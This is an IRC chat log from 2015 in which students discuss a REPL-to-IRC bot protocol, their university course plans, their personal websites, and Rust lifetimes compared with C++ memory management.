[2015-02-16T12:32:38-0500] <+hardmath123> I'm thinking of doing a READLINE wrapper first, so you can readline-ify things that don't use readline internally.
[2015-02-16T12:32:47-0500] <+hardmath123> Like hamelin-readlinify nc localhost 8080
[2015-02-16T12:33:04-0500] <+awe> o ok
[2015-02-16T12:50:48-0500] <JacobEdelman> I'm still a bit confused
[2015-02-16T12:50:52-0500] <JacobEdelman> about how exactly
[2015-02-16T12:51:00-0500] <JacobEdelman> something like an irc hamelin plugin
[2015-02-16T12:51:02-0500] <JacobEdelman> would work?
[2015-02-16T12:51:21-0500] <JacobEdelman> would it just allow me ouput irc commans like CONNECT server_name port?
[2015-02-16T12:51:30-0500] <JacobEdelman> and pass me user msgs and stuff?
[2015-02-16T13:00:45-0500] <+awe> Yeah, I'm honestly not sure either.
[2015-02-16T13:01:09-0500] <+awe> One way would be that it only forwards PRIVMSGs back and forth.
[2015-02-16T13:01:48-0500] <+awe> And that it automatically directs the responses to the correct channel and/or user.
[2015-02-16T13:02:29-0500] <+awe> I could make that pretty easily
[2015-02-16T13:03:32-0500] <+awe> So, the guy I was arguing with about printers and interference got really offended.
[2015-02-16T13:03:50-0500] <+awe> And then said that I can have my own opinion and he can have his.
[2015-02-16T13:03:54-0500] <+awe> But this isn't a matter of opinion.
[2015-02-16T13:03:57-0500] <+hardmath123> JacobEdelman: yes, it would send PRIVMSGs back and forth, pretty much.
[2015-02-16T13:04:39-0500] <+hardmath123> JacobEdelman: so if I did hamelin-irc --nick pythonbot --channel ... /usr/bin/python
[2015-02-16T13:04:58-0500] <+hardmath123> JacobEdelman: what would happen is you'd have a bot that tries to evaluate everything said on the channel in a Python REPL
[2015-02-16T13:05:11-0500] <+hardmath123> JacobEdelman: and say output on the IRC channel
[2015-02-16T13:05:19-0500] <+awe> I could do that quite easily.
[2015-02-16T13:05:36-0500] <+awe> Hmm, that'd make making an actual REPL bot really easy.
[2015-02-16T13:05:46-0500] <+hardmath123> Yes, exactly.
[2015-02-16T13:05:53-0500] <+hardmath123> Alchemybot would be like 25% of what it was.
[2015-02-16T13:05:57-0500] <+hardmath123> (sloc-wise)
[2015-02-16T13:06:18-0500] <+awe> Do you want me to write an IRC hamelin interface?
[2015-02-16T13:06:53-0500] <+hardmath123> Sure, go ahead, if you want. Though I'd appreciate it if you helped formalize the standard first.
[2015-02-16T13:07:08-0500] <+awe> Hmm, okay.
[2015-02-16T13:07:13-0500] <+awe> We can do that.
[2015-02-16T13:07:18-0500] <+awe> I just need to do some homework first.
[2015-02-16T13:07:21-0500] <+hardmath123> I'm probably going to purge the hamelin repo and rebuild it so that it only contains the spec and links to implementations in various languages.
[2015-02-16T13:07:26-0500] <+hardmath123> Do you grok troff?
[2015-02-16T13:07:34-0500] <+hardmath123> You're supposed to write RFCs in troff.
[2015-02-16T13:07:49-0500] <+hardmath123> troff looks like lowtex, except without the steroids.
[2015-02-16T13:08:12-0500] <+awe> Nope. Never touched troff.
[2015-02-16T13:08:50-0500] <+awe> Or tex for that matter.
[2015-02-16T13:08:57-0500] <+awe> I'm not a big fan of garbage like that.
[2015-02-16T13:09:06-0500] <+hardmath123> lowtex = http://github.com/Hardmath123/lowtex
[2015-02-16T13:09:45-0500] <+awe> ic.
[2015-02-16T13:11:31-0500] <+awe> I wish my systems course didn't give us a UI.
[2015-02-16T13:11:40-0500] <+awe> They want us to do everything via CLI.
[2015-02-16T13:11:59-0500] <+awe> So, they should've just given us a terminal without X.
[2015-02-16T13:19:01-0500] <JacobEdelman_phone> I'll write a Python irc interface, and maybe one for nim that will compile to c
[2015-02-16T13:19:46-0500] <+awe> lol, my systems homework
[2015-02-16T13:19:49-0500] <+awe> count strings in a file.
[2015-02-16T13:19:51-0500] <+awe> Wow.
[2015-02-16T13:19:53-0500] <+awe> Such complex.
[2015-02-16T13:20:43-0500] <JacobEdelman_phone> Awe: what lang is your systems home work in?
[2015-02-16T13:20:47-0500] <+awe> C.
[2015-02-16T13:21:01-0500] <+awe> My whole systems class is in C.
[2015-02-16T13:21:14-0500] <JacobEdelman_phone> Write it in nim and compile it!
[2015-02-16T13:22:02-0500] <+awe> No.
[2015-02-16T13:22:09-0500] <JacobEdelman_phone> Why not?
[2015-02-16T13:22:10-0500] <+awe> Also, that's again called transpiling.
[2015-02-16T13:22:17-0500] <+awe> I have no interest in using Nim.
[2015-02-16T13:22:35-0500] <JacobEdelman_phone> C is basically machine code
[2015-02-16T13:23:24-0500] <JacobEdelman_phone> Oh well
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[2015-02-16T13:30:20-0500] <+awe> JacobEdelman: no, it's not.
[2015-02-16T13:30:26-0500] <+awe> JacobEdelman_phone: C is not basically machine code at all.
[2015-02-16T13:32:22-0500] <Hyper> lol
[2015-02-16T13:32:37-0500] <Hyper> when C came out it was billed as a "High level language"
[2015-02-16T13:34:28-0500] <grantwu> We're writing an RFC? wat o.O
[2015-02-16T13:34:49-0500] <+awe> Well, hardmath123 and I might.
[2015-02-16T13:36:16-0500] <grantwu> But wai
[2015-02-16T13:38:19-0500] <+awe> Okay, I finished my string counter.
[2015-02-16T13:38:31-0500] <+awe> Such hard.
[2015-02-16T13:39:15-0500] <+awe> I had to write a whopping 18 lines of code.
[2015-02-16T13:39:29-0500] <grantwu> What do you mean string counter o.O
[2015-02-16T13:39:36-0500] <+awe> It has to count strings in stdin.
[2015-02-16T13:39:49-0500] <grantwu> What defines a string?
[2015-02-16T13:39:56-0500] <+awe> So, you'd do something like cat file | program goats
[2015-02-16T13:40:04-0500] <+awe> and it'd tell you the number of times "goats" appeared
[2015-02-16T13:40:13-0500] <grantwu> oh
[2015-02-16T13:40:18-0500] <+awe> or cat file | program goats cats
[2015-02-16T13:40:26-0500] <+awe> and it'd tell you the number of times goats appeared and cats appeared.
[2015-02-16T13:40:38-0500] <grantwu> So what does this have to do with systems again
[2015-02-16T13:40:59-0500] <+awe> It's written in c.
[2015-02-16T13:41:05-0500] <+awe> Therefore, it's systems programming.
[2015-02-16T13:41:22-0500] <+awe> The real answer is absolutely nothing, but because they're teaching C, they have to teach things about systems.
[2015-02-16T13:42:10-0500] <grantwu> :/
[2015-02-16T13:42:16-0500] <grantwu> What was your intro course in?
[2015-02-16T13:42:19-0500] <+awe> I love all the people on our questions forum who can't write decent code and then try to blame the instructor for messing up.
[2015-02-16T13:42:26-0500] <+awe> The first two courses were in Java.
[2015-02-16T13:42:30-0500] <grantwu> o
[2015-02-16T13:42:32-0500] <+awe> Most of the courses here are in Java, I believe.
[2015-02-16T13:42:32-0500] <grantwu> :(
[2015-02-16T13:42:34-0500] <grantwu> I'm sorry.
[2015-02-16T13:42:41-0500] <+awe> Well, it doesn't affect me much.
[2015-02-16T13:42:46-0500] <+awe> I'm not taking any of the Java ones anymore.
[2015-02-16T13:42:58-0500] <+awe> I'll have a Scala course which will be pretty eh.
[2015-02-16T13:43:07-0500] <grantwu> perils of javaschools and all that
[2015-02-16T13:43:12-0500] <+awe> And then a lot of my classes are going to be mathy.
[2015-02-16T13:43:25-0500] <+awe> My PL and compilers classes will probably be in C.
[2015-02-16T13:43:25-0500] <grantwu> I would hope that they would be mathy
[2015-02-16T13:43:29-0500] <JacobEdelman_phone> awe: how soon do you run out of cs courses?
[2015-02-16T13:43:36-0500] <+awe> Uh... my last year?
[2015-02-16T13:43:38-0500] <grantwu> A PL class in C?
[2015-02-16T13:43:50-0500] <+awe> grantwu: It might not be. I'm not really sure.
[2015-02-16T13:44:03-0500] <+awe> Well...
[2015-02-16T13:44:14-0500] <JacobEdelman_phone> What about running out of<500 level ones?
[2015-02-16T13:44:28-0500] <+awe> Uhh...
[2015-02-16T13:44:39-0500] <+awe> Okay, well, let's see.
[2015-02-16T13:44:48-0500] <grantwu> But why would you teach that in C o.O
[2015-02-16T13:45:39-0500] <+awe> Here's all the courses I'll be taking: 311 Algorithms, 320 Software Engineering, 501 Formal Language Theory, 377 Operating Systems, 575 Combinatorics and Graph Theory, 611 Advanced Algorithms (or maybe 601 Computation Theory), 410 Compilers, 530 Programming Languages.
[2015-02-16T13:45:58-0500] <+awe> Additionally, I have 220 Programming Methodologies (Scala, the class) and 250 Introduction to Computation.
[2015-02-16T13:46:07-0500] <grantwu> http://www.contrib.andrew.cmu.edu/~grantwu/test.html
[2015-02-16T13:46:13-0500] <grantwu> holy this is so cool
[2015-02-16T13:46:18-0500] <+awe> So, next semester, I'm taking those two, linear algebra, and maybe algorithms too?
[2015-02-16T13:46:39-0500] <+awe> So, let's say I did that.
[2015-02-16T13:46:57-0500] <grantwu> It took me 2 minutes to copy paste an html file and change an ACL
[2015-02-16T13:47:01-0500] <grantwu> And now I have a static webpage
[2015-02-16T13:47:03-0500] <+awe> I'd have 3 remaining sub-400 level courses, and 4-remaining sub-500 level courses.
[2015-02-16T13:47:05-0500] <grantwu> such amaze wow
[2015-02-16T13:47:32-0500] <+awe> I could then take all 4 of those the next semester.
[2015-02-16T13:47:39-0500] <+awe> Oh, sorry.
[2015-02-16T13:47:40-0500] <+awe> My bad.
[2015-02-16T13:47:43-0500] <+awe> it'd be uhh...
[2015-02-16T13:47:48-0500] <+awe> 3 remaining sub-500 level courses.
[2015-02-16T13:47:58-0500] <grantwu> Sorry I haven't really been keeping up with the conversation
[2015-02-16T13:48:08-0500] <grantwu> Been too amazed at having web hosting
[2015-02-16T13:48:17-0500] <+awe> JacobEdelman_phone: So, I could run out of sub-500 level courses by the end of next year.
[2015-02-16T13:48:36-0500] <JacobEdelman_phone> I thought as much
[2015-02-16T13:48:38-0500] <+awe> JacobEdelman_phone: I'm not sure if I'm going to take the courses in exactly that order though.
[2015-02-16T13:48:51-0500] <+awe> I mean, it makes sense given that I'm graduating in three years.
[2015-02-16T13:49:05-0500] <JacobEdelman_phone> grantwu: you have a website?
[2015-02-16T13:49:15-0500] <+awe> He just linked it.
[2015-02-16T13:49:21-0500] <grantwu> http://www.contrib.andrew.cmu.edu/~grantwu/test.html
[2015-02-16T13:49:28-0500] <+awe> JacobEdelman_phone: Somewhere in there, I'm going to have to take physics.
[2015-02-16T13:49:28-0500] <JacobEdelman_phone> Cool
[2015-02-16T13:49:49-0500] <+awe> JacobEdelman_phone: I might do 220, 250, linear algebra, and physics 1 (maybe also algorithms, depending on # of credits)
[2015-02-16T13:49:49-0500] <grantwu> Computer club set it up so that all I have to do is drop a file in my www folder in my home directory
[2015-02-16T13:50:02-0500] <grantwu> Give them read access
[2015-02-16T13:50:11-0500] <grantwu> And it's on the internetz
[2015-02-16T13:50:18-0500] <+awe> JacobEdelman_phone: and then 320, physics ii, 377, 410/311, and maybe one more depending on # of credits.
[2015-02-16T13:50:29-0500] <JacobEdelman_phone> awe: you must take algorithms eventually
[2015-02-16T13:50:31-0500] <+awe> I have to.
[2015-02-16T13:50:33-0500] <+awe> It's a requirement.
[2015-02-16T13:50:38-0500] <JacobEdelman_phone> Good
[2015-02-16T13:51:01-0500] <+awe> It's funny because what I just described is actually two of the CS sub-tracks.
[2015-02-16T13:51:03-0500] <+awe> I'm taking two of thme.
[2015-02-16T13:51:04-0500] <+awe> them*
[2015-02-16T13:51:11-0500] <+awe> Theory of Computation + Programming Languages and Compilers.
[2015-02-16T13:52:30-0500] <JacobEdelman_phone> grantwu: what do you think of my site JacobEdelman.com
[2015-02-16T13:52:41-0500] <+awe> It's still malware according to my school.
[2015-02-16T13:52:54-0500] <grantwu> Hmm my first reaction is that I got a flash of unstyled content
[2015-02-16T13:53:10-0500] <grantwu> Wait no that was intentional...
[2015-02-16T13:53:30-0500] <grantwu> Why is it that I can close your window and then have to refresh?
[2015-02-16T13:53:49-0500] <JacobEdelman_phone> Cause I'm lazy i guess
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[2015-02-16T13:54:07-0500] <grantwu> When I click a button I lose the padding/margin/I'm not sure which below it
[2015-02-16T13:54:17-0500] <JacobEdelman> really? thats weird?
[2015-02-16T13:54:22-0500] <JacobEdelman> try jacobedelman.com/fancy
[2015-02-16T13:54:30-0500] <+awe> Yeah, he's right.
[2015-02-16T13:54:33-0500] <+awe> You lose the padding/margin.
[2015-02-16T13:54:34-0500] <JacobEdelman> that one is meant for people who don't like the main, gimmicky version
[2015-02-16T13:54:53-0500] <+awe> It's not fancy.
[2015-02-16T13:54:55-0500] <+awe> And it still looks ba.
[2015-02-16T13:54:56-0500] <+awe> bad.
[2015-02-16T13:55:02-0500] <grantwu> Your website looks like a windowing system
[2015-02-16T13:55:07-0500] <JacobEdelman> its meant to
[2015-02-16T13:55:08-0500] <JacobEdelman> :P
[2015-02-16T13:55:09-0500] <grantwu> It's cool as hell and utterly impractical!
[2015-02-16T13:55:17-0500] <JacobEdelman> yup!
[2015-02-16T13:55:24-0500] <JacobEdelman> got it in one
[2015-02-16T13:55:26-0500] <Fill> awe: woah. You still have quite a lot of courses left
[2015-02-16T13:55:41-0500] <grantwu> But I bet it took you a lot longer to make than my shitty website xD
[2015-02-16T13:55:41-0500] <+awe> I'm a first-year.
[2015-02-16T13:55:43-0500] <JacobEdelman>  grantwu: jacobedelman.com/fancy  is the practical version
[2015-02-16T13:55:54-0500] <grantwu> okok
[2015-02-16T13:56:13-0500] <JacobEdelman> grantwu: the windowing system is stolen from something ( i give credit), and I modified it a bunch, but yeah, it took a few days to get right
[2015-02-16T13:56:16-0500] <Fill> I had to take 2 physics courses. One on mechanics & waves; and then another on optics and magnetism. Not exactly my thing. Glad I'm done with that :P
[2015-02-16T13:58:56-0500] <+awe> Fill: Yeah, I do, too.
[2015-02-16T13:58:59-0500] <+awe> Same deal.
[2015-02-16T13:59:03-0500] <+awe> And I don't want to take them.
[2015-02-16T13:59:07-0500] <JacobEdelman> who's RoBotX?
[2015-02-16T13:59:17-0500] <+awe> Dunno.
[2015-02-16T13:59:42-0500] <+awe> JacobEdelman: fancy still looks bad.
[2015-02-16T14:00:01-0500] <Fill> RoBotX is me testing awe's Rust irc library
[2015-02-16T14:00:19-0500] <+awe> Fill: I'm roughly a third done with my degree after one semester of being here though. :p
[2015-02-16T14:00:31-0500] <+awe> After this semester, I'm just about half done.
[2015-02-16T14:00:54-0500] <Fill> so you're taking more courses per semester than the usual?
[2015-02-16T14:01:16-0500] <+awe> I came into Uni with credit for all of the general education requirements.
[2015-02-16T14:01:38-0500] <+awe> So, I only have to do things required by the CS major and then I'm done.
[2015-02-16T14:03:03-0500] <grantwu> grumble grumble
[2015-02-16T14:03:06-0500] <grantwu> I need to minor in something
[2015-02-16T14:03:11-0500] <+awe> Why?
[2015-02-16T14:03:13-0500] <grantwu> Required
[2015-02-16T14:03:18-0500] <+awe> .-.
[2015-02-16T14:03:20-0500] <+awe> That's silly.
[2015-02-16T14:03:30-0500] <JacobEdelman> grantwu: are you majoring in cs or math?
[2015-02-16T14:03:43-0500] <grantwu> A double major or minor is required.  Aren't actually that many req'd CS courses
[2015-02-16T14:03:45-0500] <grantwu> CS
[2015-02-16T14:04:19-0500] <JacobEdelman> also, did you ever answer my interrogating (I interview/interrogate most everybody when they join pdgn) question? (what areas of cs/math/life are you particulary interested in)
[2015-02-16T14:04:33-0500] <grantwu> yeah
[2015-02-16T14:04:35-0500] <JacobEdelman> grantwu: why not minor in math?
[2015-02-16T14:04:44-0500] <JacobEdelman> grantwu: what was your answer again?
[2015-02-16T14:04:55-0500] <grantwu> I gave particularly boring and mundane answers
[2015-02-16T14:05:02-0500] <grantwu> Because... idk I'm not gud enuf at maff
[2015-02-16T14:05:14-0500] <+awe> That's how you become good?
[2015-02-16T14:06:02-0500] <grantwu> *shrug* people in the math program are intense
[2015-02-16T14:06:28-0500] <grantwu> Also there's so much overlap that it's almost a default option
[2015-02-16T14:06:29-0500] <+awe> Not here.
[2015-02-16T14:06:55-0500] <+awe> People here are so bad at math.
[2015-02-16T14:07:04-0500] <grantwu> q.q
[2015-02-16T14:07:18-0500] <grantwu> They taught topology to us incoming freshmen last semester
[2015-02-16T14:07:34-0500] <+awe> We got a 10% curve on a test that I finished in a quarter of the allotted time and only lost like four points because of a silly mistake.
[2015-02-16T14:07:37-0500] <grantwu> Professor ended up writing an apology to us at the end of the semester...
[2015-02-16T14:08:36-0500] <grantwu> A lot of my friends are in the honors courses too :C
[2015-02-16T14:10:42-0500] <+awe> My roommate is in honors calculus for life science majors and thinks he's a pro. It's so funny
[2015-02-16T14:10:55-0500] <+awe> Calculus for Life Science Majors is incredibly watered-down.
[2015-02-16T14:11:38-0500] <grantwu> how is that a thing
[2015-02-16T14:12:02-0500] <+awe> I don' tknow.
[2015-02-16T14:12:08-0500] <+awe> It's silly.
[2015-02-16T14:12:21-0500] <+awe> I think it's because our Calculus classes are already pretty low-scoring.
[2015-02-16T14:12:34-0500] <+awe> And they'd have to have even larger curves if they didn't separate life science majors into an easier Calc class.
[2015-02-16T14:14:30-0500] <+awe> JacobEdelman: why haven't you written a post for the community blog yet?
[2015-02-16T14:16:05-0500] <grantwu> I am a kitteh!
[2015-02-16T14:16:42-0500] <+awe> JacobEdelman: the learn section of your site is funny because it suggests that you learned something by making a website using a DRAG AND DROP EDITOR.
[2015-02-16T14:19:24-0500] <JacobEdelman> awe: grantwu is actually scare good a math, don;t believe him if he tries to tell you otherwise
[2015-02-16T14:19:30-0500] <JacobEdelman> also: http://www.wired.com/2012/01/ff_ux/all/
[2015-02-16T14:19:37-0500] <JacobEdelman> (awe, ux seems like your kinda thing)
[2015-02-16T14:20:01-0500] <grantwu> so i sux
[2015-02-16T14:20:04-0500] <grantwu> *no
[2015-02-16T14:20:12-0500] <grantwu> calculus is 3hard5me
[2015-02-16T14:20:22-0500] <grantwu> All I did second year at PACT was make that penguin t-shirt
[2015-02-16T14:20:33-0500] <+alokpathy> Lol all I did was play Resistance.
[2015-02-16T14:21:21-0500] <+alokpathy> And derp.
[2015-02-16T14:21:43-0500] <grantwu> time to go lead lab miao
[2015-02-16T14:21:55-0500] <grantwu> Today is about the claculator huehuehue
[2015-02-16T14:22:15-0500] <+alokpathy> Teach them well :P
[2015-02-16T14:22:27-0500] <grantwu> (It's a toy forth clone)
[2015-02-16T14:28:37-0500] <+awe> JacobEdelman: yeah, it seems neat.
[2015-02-16T14:47:18-0500] <JacobEdelman_phone> Ux is now my second favorite secret society
[2015-02-16T14:47:40-0500] <+alokpathy> Is PdgnCo your favorite?
[2015-02-16T14:48:11-0500] <JacobEdelman_phone> I can't tell you about my favourite :P
[2015-02-16T14:49:18-0500] <+alokpathy> Oh dang.
[2015-02-16T14:49:20-0500] <+alokpathy> So secretive.
[2015-02-16T14:50:50-0500] <+awe> Oh snap.
[2015-02-16T14:56:48-0500] <Fill> awe: jeez. I gotta read more about Rust before trying to understand the irc crate
[2015-02-16T14:56:49-0500] <Fill> lol
[2015-02-16T14:56:55-0500] <+awe> Fill: why's that?
[2015-02-16T14:57:08-0500] <Fill> I'm confused about this 'a thing
[2015-02-16T14:57:24-0500] <Fill> I still struggle with the language, I'm really new to it
[2015-02-16T14:58:10-0500] <+awe> Yeah, lifetimes are complex.
[2015-02-16T14:58:51-0500] <Fill> yep, I can see that. I guess I'd figure it by my own, but perhaps a better approach is to go back to the guide
[2015-02-16T15:00:23-0500] <+awe> The idea is basically that a lifetime represents how long a reference will be alive.
[2015-02-16T15:00:50-0500] <+awe> So, when you have something like struct Foo<'a> { s: &'a str }
[2015-02-16T15:01:32-0500] <+awe> You're basically saying that I have a Foo object with an explicit lifetime specified as 'a, and its variable s is a &str bound by that lifetime.
[2015-02-16T15:02:38-0500] <Hyper> awe: what's a lifetime?
[2015-02-16T15:03:17-0500] <+awe> It's the time between the creation and destruction of an object.
[2015-02-16T15:03:19-0500] <Fill> ok, but when you have a struct with members, aren't the members supposed to live at least as long the struct itself?
[2015-02-16T15:03:28-0500] <+awe> Fill: yes, which is what that says.
[2015-02-16T15:03:36-0500] <Hyper> awe: it's a time in terms of what?
[2015-02-16T15:03:39-0500] <Hyper> processor cycles?
[2015-02-16T15:03:41-0500] <+awe> No.
[2015-02-16T15:03:42-0500] <Fill> isn't it obvious? Why do you have to explicitly say it?
[2015-02-16T15:03:49-0500] <+awe> It's more abstract than that.
[2015-02-16T15:04:09-0500] <+awe> Fill: it's saying that Foo can only be constructed with a reference to a string that will live at least as long as Foo.
[2015-02-16T15:04:41-0500] <Fill> hum
[2015-02-16T15:05:04-0500] <+awe> Lifetimes are often inferred, but have to be explicitly declared when you're making structs.
[2015-02-16T15:05:08-0500] <+awe> And things of that sort.
[2015-02-16T15:05:24-0500] <+awe> Because they can't be inferred without context.
[2015-02-16T15:05:36-0500] <+awe> For example, Foo { a: &str, b: &str }
[2015-02-16T15:06:19-0500] <+awe> Actually, that might not be a great example.
[2015-02-16T15:06:21-0500] <Fill> so you can have a struct parameterized with multiple lifetime specifiers?
[2015-02-16T15:06:41-0500] <Fill> wait, maybe that doesn't make sense
[2015-02-16T15:06:48-0500] <Fill> a struct has a single lifetime, right?
[2015-02-16T15:07:02-0500] <+awe> You can have it parameterized with multiple lifetime specifiers.
[2015-02-16T15:07:07-0500] <+awe> But the struct itself only has a single lifetime.
[2015-02-16T15:07:22-0500] <+awe> But that lifetime has to be one that encompasses all of the lifetime specifiers parameterized on it.
[2015-02-16T15:07:49-0500] <+awe> Hyper: I believe currently all lifetimes are lexical. So, it's basically until the thing drops out of scope.
[2015-02-16T15:07:58-0500] <+awe> Hyper: But they don't *have* to be lexical.
[2015-02-16T15:08:14-0500] <Fill> and have you ever used / seen structs with multiple lifetimes?
[2015-02-16T15:08:27-0500] <+awe> I'm sure they're used somewhere.
[2015-02-16T15:08:29-0500] <+awe> I haven't needed them.
[2015-02-16T15:08:31-0500] <Hyper> like I'm trying to understand what this 'a actually _is_
[2015-02-16T15:08:37-0500] <+awe> It's a lifetime specifier.
[2015-02-16T15:08:41-0500] <+awe> It's basically a variable.
[2015-02-16T15:08:45-0500] <+awe> But a lifetime variable.
[2015-02-16T15:08:55-0500] <+awe> So, &'a str is a reference to a string with lifetime 'a
[2015-02-16T15:08:59-0500] <Hyper> so what does a lifetime look like
[2015-02-16T15:09:04-0500] <Hyper> is it a bit?
[2015-02-16T15:09:06-0500] <+awe> What do you mean what does it look like?
[2015-02-16T15:09:06-0500] <Hyper> a string?
[2015-02-16T15:09:16-0500] <Hyper> some struct? containing what?
[2015-02-16T15:09:19-0500] <Fill> ok, I get the concept. I'll still read more about it, but I guess I get it. Thanks for the help
[2015-02-16T15:09:31-0500] <+awe> It's basically an indicator of how long a reference is valid.
[2015-02-16T15:09:35-0500] <+awe> I don't know what you're asking, Hyper.
[2015-02-16T15:09:54-0500] <Hyper> I guess I'm asking a bit of an implementation detail
[2015-02-16T15:10:05-0500] <+awe> Fill: Lifetimes + borrow checking are definitely the hard things to grok about Rust. Once you get over that hump, things get easier.
[2015-02-16T15:10:24-0500] <Fill> Looks like I'm on the hump now
[2015-02-16T15:10:25-0500] <Fill> hehe
[2015-02-16T15:10:45-0500] <+awe> Hyper: I don't know exactly how it's represented internally, but they use it as part of a compile-time checking for code validity.
[2015-02-16T15:11:06-0500] <Hyper> ok, they're compile time magic
[2015-02-16T15:11:07-0500] <Hyper> cool
[2015-02-16T15:11:07-0500] <+awe> Hyper: It's part of the whole guaranteed-no-null-pointers-thing.
[2015-02-16T15:11:30-0500] <+awe> Lifetimes with RAII are a sort of replacement for garbage collection.
[2015-02-16T15:11:49-0500] <+awe> Lifetimes are a concept that does exist in C++, by the way.
[2015-02-16T15:11:55-0500] <+awe> Whenever you use RAII, you have to deal with them.
[2015-02-16T15:12:08-0500] <+awe> But in C++, they're guaranteed to be lexical.
[2015-02-16T15:12:43-0500] <Fill> in C++ lifetimes are actually quite easy, at least for me
[2015-02-16T15:12:47-0500] <Hyper> yeah, I was just confused because you were dealing with what's effectively a conceptual thing syntactically
[2015-02-16T15:13:03-0500] <Fill> Hyper: that's exactly what confuses me too
[2015-02-16T15:13:19-0500] <+awe> It's because in C++, you can have a reference die on you without you knowing. :)
[2015-02-16T15:15:19-0500] <assface> only if you don;t know how to manage memory
[2015-02-16T15:15:40-0500] <+awe> Or make a mistake.
[2015-02-16T15:15:43-0500] <+awe> Because you're not perfect.
[2015-02-16T15:15:54-0500] <Fill> true
[2015-02-16T15:15:57-0500] <Fill> it happens
[2015-02-16T15:16:14-0500] <Hyper> false, I've never ever made a mistake.
[2015-02-16T15:16:16-0500] <Hyper> I am infallible
[2015-02-16T15:16:21-0500] <assface> awe: that's why we have this thing called valgrind
[2015-02-16T15:16:59-0500] <+awe> I'd much rather have my language ban those mistakes than have to use a utility program to try to make sure they don't happen.
[2015-02-16T15:19:31-0500] <assface> k
[2015-02-16T15:19:36-0500] <assface> im still not using rust though
[2015-02-16T15:20:02-0500] <+awe> I don't really understand why you would pick having the two things be separate.
[2015-02-16T15:20:17-0500] <assface> well valgrind is a debugger
[2015-02-16T15:20:57-0500] <assface> now, if you want to have a static analyzer, clang has a really nice one that _I think_ can be invoked by the compiler
[2015-02-16T15:21:25-0500] <+awe> It still can't catch everything.
[2015-02-16T15:21:47-0500] <assface> neither can rust's
[2015-02-16T15:21:55-0500] <+awe> Uhh...
[2015-02-16T15:22:08-0500] <+awe> Rust can catch literally every bug related to freeing memory too soon.
[2015-02-16T15:22:26-0500] <assface> then there's no reason why a normal static analyzer couldn;t
[2015-02-16T15:22:36-0500] <+awe> No annotations for lifetimes.
[2015-02-16T15:23:22-0500] <grantwu> But awe
[2015-02-16T15:23:28-0500] <grantwu> Unsafe keyword best keyword!
[2015-02-16T15:23:30-0500] <grantwu> huehuehuehue
[2015-02-16T15:23:54-0500] <assface> I always make all my variabled __volatile
[2015-02-16T15:23:56-0500] <+alokpathy> grantwu: Do you know if CMUMC is still happening?
[2015-02-16T15:23:57-0500] <assface> *variables
[2015-02-16T15:24:03-0500] <grantwu> What is cmumc
[2015-02-16T15:24:15-0500] <+alokpathy> grantwu: CMU's math competition.
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[2015-02-16T15:24:24-0500] <grantwu> We have a math competition?
[2015-02-16T15:24:32-0500] <+alokpathy> I mentioned this to you before :P
[2015-02-16T15:24:34-0500] <+alokpathy> Yeah.
[2015-02-16T15:24:40-0500] <+alokpathy> http://club.math.cmu.edu/Competition/index.html
[2015-02-16T15:24:40-0500] <grantwu> welppp
[2015-02-16T15:24:53-0500] <grantwu> Yeah no clue about that
[2015-02-16T15:24:57-0500] <+alokpathy> Darn.
[2015-02-16T15:25:02-0500] <+alokpathy> Do you know anybody you could ask?
[2015-02-16T15:25:02-0500] <grantwu> Why would you come all the way here anyways
[2015-02-16T15:25:04-0500] <grantwu> Subzero temps
[2015-02-16T15:25:15-0500] <grantwu> Uh you could ask Jacob Van Buren
[2015-02-16T15:25:39-0500] <+alokpathy> I don't actually know him at all xD
[2015-02-16T15:25:45-0500] <+alokpathy> I could ask Amnon to ask him.
[2015-02-16T15:25:55-0500] <grantwu> I could ask him
[2015-02-16T15:26:02-0500] <+alokpathy> Oh that'd help. Thanks.
[2015-02-16T15:55:17-0500] <grantwu> ugh
[2015-02-16T15:55:23-0500] <grantwu> computer club here is so backwards
[2015-02-16T15:59:43-0500] <+alokpathy> ?
[2015-02-16T16:00:23-0500] <+awe> So, it's bulc retupmoc?
[2015-02-16T16:00:40-0500] <+alokpathy> lolol
[2015-02-16T16:01:21-0500] <grantwu> -_-
[2015-02-16T16:01:36-0500] <grantwu> What minimal documentation we have, isn't kept updated
[2015-02-16T16:01:53-0500] <grantwu> You know you're fucked when there isn't enough documentation to run the bugtracker
[2015-02-16T16:02:49-0500] <JacobEdelman_phone> grantwu: my solution for that problem had been to get in to a uni like CMU that has a real cs club but that might not work for you :P
[2015-02-16T16:03:22-0500] <+awe> inb4 Jacob ends up going to Kent State or something.
[2015-02-16T16:03:42-0500] <JacobEdelman_phone> Lol
[2015-02-16T16:04:22-0500] <grantwu> We don't have a cs club
[2015-02-16T16:04:32-0500] <grantwu> Computer club is more about system administration/devops/useful services
[2015-02-16T16:04:51-0500] <JacobEdelman_phone> That is sad
[2015-02-16T16:04:55-0500] <+awe> We don't have a CS club either.
[2015-02-16T16:05:02-0500] <+awe> I don't think it makes sense to have a club for a major.
[2015-02-16T16:05:08-0500] <grantwu> It doesn't make sense to have a "cs club" when all the CS majors are already underwater
[2015-02-16T16:05:14-0500] <grantwu> What awe said.
[2015-02-16T16:05:26-0500] <JacobEdelman_phone> ... we have a cs club😁
[2015-02-16T16:05:33-0500] <+awe> Do you have an ACM chapter, grantwu?
[2015-02-16T16:05:35-0500] <grantwu> That's a high school
[2015-02-16T16:05:37-0500] <grantwu> Yes
[2015-02-16T16:05:44-0500] <+awe> Yeah, that's the closest thing we have to a CS club.
[2015-02-16T16:33:32-0500] <grantwu> Also regarding nerzog (?)'s questions about where'd you do embedded work
[2015-02-16T16:33:36-0500] <grantwu> You'd probably ask roboclub here...
[2015-02-16T16:43:38-0500] <JacobEdelman_phone> Why is apush so hard?
[2015-02-16T16:43:53-0500] <grantwu> becuase memorization is hard
[2015-02-16T16:44:28-0500] <JacobEdelman_phone> My apush class doesn't have tip much memorization
[2015-02-16T16:44:36-0500] <JacobEdelman_phone> And the teacher is amazing
[2015-02-16T16:44:38-0500] <+alokpathy> I thought APUSH had a lot of analysis.
[2015-02-16T16:44:46-0500] <JacobEdelman_phone> Just very very hard
[2015-02-16T16:45:20-0500] <JacobEdelman_phone> *too instead of tip
[2015-02-16T17:10:04-0500] <+ubuntor> http://lparchive.org/Dwarf-Fortress-Boatmurdered/Introduction/
[2015-02-16T17:13:25-0500] <JacobEdelman_phone> I read that entire thing a while ago it's awesome
[2015-02-16T17:18:16-0500] <JacobEdelman> having a phone is weird
[2015-02-16T17:23:07-0500] <+alokpathy> I guess that's why you threw yours out.
[2015-02-16T17:36:11-0500] <+awe> JacobEdelman: http://ghv.artzub.com/#user=aatxe
[2015-02-16T17:44:04-0500] <JacobEdelman> awe: thats... slightly scary
